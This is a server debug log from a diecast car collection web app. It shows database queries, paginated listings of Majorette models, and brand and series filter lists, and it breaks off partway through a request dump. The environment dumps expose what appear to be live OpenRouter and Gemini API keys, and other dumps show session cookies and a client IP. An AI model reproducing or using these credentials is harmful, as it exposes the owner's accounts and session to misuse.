2026-02-04T07:00:19.349Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:00:19.349Z server-connect:app Executing action step identify
2026-02-04T07:00:19.349Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:19.349Z server-connect:output identity: 1
2026-02-04T07:00:19.349Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.349Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:00:19.350Z server-connect:output restrict: undefined
2026-02-04T07:00:19.350Z server-connect:app Executing action step select
2026-02-04T07:00:19.350Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:00:19.351Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:00:19.352Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:00:19.352Z server-connect:app Executing action step select
2026-02-04T07:00:19.352Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:00:19.353Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T07:00:19.353Z server-connect:app Executing action step select
2026-02-04T07:00:19.353Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:00:19.354Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T07:00:19.564Z server-connect:router Serving templateView /
2026-02-04T07:00:19.564Z server-connect:app Executing action step identify
2026-02-04T07:00:19.565Z server-connect:app options: { provider: 'security' }
2026-02-04T07:00:19.565Z server-connect:output identity: 1
2026-02-04T07:00:19.565Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.565Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:00:19.566Z server-connect:output restrict: undefined
2026-02-04T07:00:19.566Z server-connect:app Executing action step restrict
2026-02-04T07:00:19.566Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:00:19.566Z server-connect:output restrict: undefined
2026-02-04T07:00:19.566Z server-connect:router Render template layouts/main
2026-02-04T07:00:19.566Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?condition=&manufacturer=72&search=&series=&brand=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:01:35.019Z server-connect:router Serving templateView /diecast
2026-02-04T07:01:35.019Z server-connect:app Executing action step identify
2026-02-04T07:01:35.019Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:35.019Z server-connect:output identity: 1
2026-02-04T07:01:35.019Z server-connect:app Executing action step restrict
2026-02-04T07:01:35.019Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:01:35.021Z server-connect:output restrict: undefined
2026-02-04T07:01:35.021Z server-connect:router Render template layouts/main
2026-02-04T07:01:35.021Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    condition: '',
    manufacturer: '72',
    search: '',
    series: '',
    brand: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'condition=&manufacturer=72&search=&series=&brand=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
